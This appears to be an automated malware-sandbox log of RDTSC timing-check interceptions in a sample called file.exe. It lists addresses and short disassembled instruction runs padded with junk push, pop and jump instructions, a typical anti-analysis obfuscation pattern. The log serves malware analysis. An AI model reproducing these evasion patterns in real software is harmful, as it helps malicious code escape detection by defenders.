Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A6E4 second address: 100A6F4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0CFCBDECE2h 0x00000008 jno 00007F0CFCBDECD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A6F4 second address: 100A6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A9D8 second address: 100A9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A9DC second address: 100A9EA instructions: 0x00000000 rdtsc 0x00000002 js 00007F0CFCDA8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A9EA second address: 100A9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0CFCBDECD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100A9F4 second address: 100A9F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AB25 second address: 100AB2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100AB2A second address: 100AB2F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ACAA second address: 100ACB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ACB0 second address: 100ACB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ACB6 second address: 100ACC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECDDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100ACC7 second address: 100ACF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jbe 00007F0CFCDA8E5Ch 0x0000000f jmp 00007F0CFCDA8E62h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B572 second address: 100B5AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE6h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f jmp 00007F0CFCBDECDBh 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F0CFCBDECDCh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100B5AF second address: 100B5B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BDD5 second address: 100BE04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE0h 0x00000007 jmp 00007F0CFCBDECE7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BE04 second address: 100BE3F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F0CFCDA8E65h 0x00000008 pop ebx 0x00000009 pushad 0x0000000a jmp 00007F0CFCDA8E65h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BE3F second address: 100BE43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100BE43 second address: 100BE4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011460 second address: 1011472 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0CFCBDECDAh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1011472 second address: 1011476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102006D second address: 1020073 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020073 second address: 1020077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1020077 second address: 1020081 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0CFCBDECF0h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1021960 second address: 102196B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102196B second address: 1021991 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0CFCBDECE5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1028BEE second address: 1028BF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102D5F2 second address: 102D5F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E0E4 second address: 103E0FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E65h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E0FF second address: 103E103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E103 second address: 103E107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E270 second address: 103E275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E275 second address: 103E27D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E27D second address: 103E281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E3C6 second address: 103E3CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E3CF second address: 103E3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E3D8 second address: 103E3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E3DC second address: 103E3EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F0CFCBDECD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E3EC second address: 103E409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F0CFCDA8E61h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E409 second address: 103E42B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0CFCBDECE8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E42B second address: 103E435 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E435 second address: 103E443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCBDECDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E443 second address: 103E447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E5D7 second address: 103E5FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jnc 00007F0CFCBDECD6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E5FC second address: 103E62F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jns 00007F0CFCDA8E5Eh 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F0CFCDA8E64h 0x00000016 jne 00007F0CFCDA8E56h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103E92E second address: 103E947 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EC0B second address: 103EC11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103EC11 second address: 103EC41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F0CFCBDECE4h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F0CFCBDECE0h 0x00000010 js 00007F0CFCBDECD6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F59A second address: 103F5A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 ja 00007F0CFCDA8E5Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104CD9F second address: 104CDAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCBDECDBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104CDAE second address: 104CDC2 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F0CFCDA8E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104CDC2 second address: 104CDE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F0CFCBDECDCh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0CFCBDECDDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E96A second address: 105E96E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10605CE second address: 10605D9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F0CFCBDECD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10605D9 second address: 10605F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F0CFCDA8E5Fh 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10605F4 second address: 1060607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c jns 00007F0CFCBDECD6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10793AA second address: 10793B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079586 second address: 107958B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079823 second address: 107983B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push ebx 0x00000008 js 00007F0CFCDA8E5Ah 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107983B second address: 107983F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079CA2 second address: 1079CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1079F40 second address: 1079F45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A0AF second address: 107A0CC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0CFCDA8E56h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jg 00007F0CFCDA8E56h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CF55 second address: 107CF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0CFCBDECE0h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107CF6A second address: 107CF80 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0CFCDA8E5Ah 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D0E3 second address: 107D0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D3F2 second address: 107D3F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D3F6 second address: 107D471 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F0CFCBDECE7h 0x0000000c jmp 00007F0CFCBDECE1h 0x00000011 popad 0x00000012 popad 0x00000013 nop 0x00000014 pushad 0x00000015 xor si, 2763h 0x0000001a mov ax, 402Bh 0x0000001e popad 0x0000001f jmp 00007F0CFCBDECE3h 0x00000024 push dword ptr [ebp+122D2FCCh] 0x0000002a or dl, FFFFFFB7h 0x0000002d push 234E5CAFh 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F0CFCBDECE9h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D471 second address: 107D483 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107D483 second address: 107D488 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081D07 second address: 1081D67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F0CFCDA8E62h 0x0000000c jmp 00007F0CFCDA8E69h 0x00000011 popad 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007F0CFCDA8E74h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081D67 second address: 1081D6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081D6B second address: 1081D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1081D71 second address: 1081D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55202F9 second address: 55202FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55202FD second address: 5520303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520303 second address: 5520328 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E65h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop eax 0x0000000f mov edx, 2CEC8AEAh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520328 second address: 552038B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0CFCBDECDEh 0x00000009 sbb al, FFFFFFA8h 0x0000000c jmp 00007F0CFCBDECDBh 0x00000011 popfd 0x00000012 movzx ecx, dx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a movzx ecx, di 0x0000001d mov ah, bh 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 pushad 0x00000022 mov ebx, ecx 0x00000024 mov si, 1EDDh 0x00000028 popad 0x00000029 mov ebp, esp 0x0000002b jmp 00007F0CFCBDECE8h 0x00000030 mov edx, dword ptr [ebp+0Ch] 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F0CFCBDECDAh 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552038B second address: 5520391 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520391 second address: 55203B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ebx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F0CFCBDECE1h 0x00000015 mov bx, cx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203CE second address: 55203D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203D2 second address: 55203EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55503F4 second address: 5550421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movzx ecx, dx 0x0000000d popad 0x0000000e push eax 0x0000000f jmp 00007F0CFCDA8E68h 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550421 second address: 5550494 instructions: 0x00000000 rdtsc 0x00000002 mov ax, AE6Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F0CFCBDECE4h 0x0000000e jmp 00007F0CFCBDECE5h 0x00000013 popfd 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007F0CFCBDECDEh 0x0000001c xchg eax, ecx 0x0000001d jmp 00007F0CFCBDECE0h 0x00000022 push eax 0x00000023 pushad 0x00000024 mov eax, ebx 0x00000026 mov dx, E040h 0x0000002a popad 0x0000002b xchg eax, ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F0CFCBDECE2h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550494 second address: 555049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555049A second address: 555049E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555049E second address: 55504FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCDA8E5Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov cx, 9393h 0x00000011 mov ebx, ecx 0x00000013 popad 0x00000014 push eax 0x00000015 jmp 00007F0CFCDA8E65h 0x0000001a xchg eax, esi 0x0000001b jmp 00007F0CFCDA8E5Eh 0x00000020 lea eax, dword ptr [ebp-04h] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F0CFCDA8E67h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55504FB second address: 5550501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550501 second address: 5550505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550505 second address: 5550509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550509 second address: 5550518 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550518 second address: 5550531 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0CFCBDECE5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5550531 second address: 5550541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0CFCDA8E5Ch 0x00000009 rdtsc
